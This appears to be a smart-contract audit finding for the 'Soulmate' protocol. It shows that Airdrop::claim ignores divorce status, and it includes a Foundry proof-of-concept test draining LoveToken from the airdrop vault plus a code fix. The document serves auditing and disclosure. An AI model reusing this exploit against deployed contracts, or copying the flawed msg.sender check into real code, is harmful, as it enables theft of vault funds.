Summary
In protocol's documentation is stated that Soulmate::getDivorce
function cancels the possibility for a couple to collect LoveToken
. However Airdrop::claim
function allows both soulmates to claim love tokens everyday, even if Soulmate::getDivorce
function is called by one of them. This leads to direct theft of airdrop vault's balances.
Vulnerability Details
Add the following in the AirdropTest.t.sol
file:
function testClaimAfterDivorce() public {
_mintOneTokenForBothSoulmates();
vm.warp(block.timestamp + 1 days);
vm.startPrank(soulmate1);
soulmateContract.getDivorced();
assert(soulmateContract.isDivorced());
airdropContract.claim();
vm.stopPrank();
vm.startPrank(soulmate2);
assert(soulmateContract.isDivorced());
airdropContract.claim();
vm.stopPrank();
assertEq(loveToken.balanceOf(soulmate1), 1e18);
assertEq(loveToken.balanceOf(soulmate2), 1e18);
vm.warp(block.timestamp + 1 days);
vm.startPrank(soulmate1);
airdropContract.claim();
vm.stopPrank();
vm.startPrank(soulmate2);
airdropContract.claim();
vm.stopPrank();
assertEq(loveToken.balanceOf(soulmate1), 2e18);
assertEq(loveToken.balanceOf(soulmate2), 2e18);
}
Impact
High: Due to the fact that funds in the vault are directly at risk.
Tools Used
Manual Review, Foundry
Recommendations
To mitigate this exploit there are few changes that are required to be made:
Add an address parameter in Soulmate::isDivorced
function:
- function isDivorced() public view returns (bool) {
- return divorced[msg.sender];
}
+ function isDivorced(address soulmate) public view returns (bool) {
+ return divorced[soulmate];
}
Add the requirement in ISoulmate::isDivorced
function also:
- function isDivorced() external view returns (bool);
+ function isDivorced(address) external view returns (bool);
Use msg.sender
as a parameter for the check in Airdrop::claim
function:
function claim() public {
// No LoveToken for people who don't love their soulmates anymore.
- if (soulmateContract.isDivorced()) revert Airdrop__CoupleIsDivorced();
+ if (soulmateContract.isDivorced(msg.sender)) revert Airdrop__CoupleIsDivorced();
// Calculating since how long soulmates are reunited
uint256 numberOfDaysInCouple = (block.timestamp -
soulmateContract.idToCreationTimestamp(
soulmateContract.ownerToId(msg.sender)
)) / daysInSecond;
uint256 amountAlreadyClaimed = _claimedBy[msg.sender];
if (
amountAlreadyClaimed >=
numberOfDaysInCouple * 10 ** loveToken.decimals()
) revert Airdrop__PreviousTokenAlreadyClaimed();
uint256 tokenAmountToDistribute = (numberOfDaysInCouple *
10 ** loveToken.decimals()) - amountAlreadyClaimed;
// Dust collector
if (
tokenAmountToDistribute >=
loveToken.balanceOf(address(airdropVault))
) {
tokenAmountToDistribute = loveToken.balanceOf(
address(airdropVault)
);
}
_claimedBy[msg.sender] += tokenAmountToDistribute;
emit TokenClaimed(msg.sender, tokenAmountToDistribute);
loveToken.transferFrom(
address(airdropVault),
msg.sender,
tokenAmountToDistribute
);
}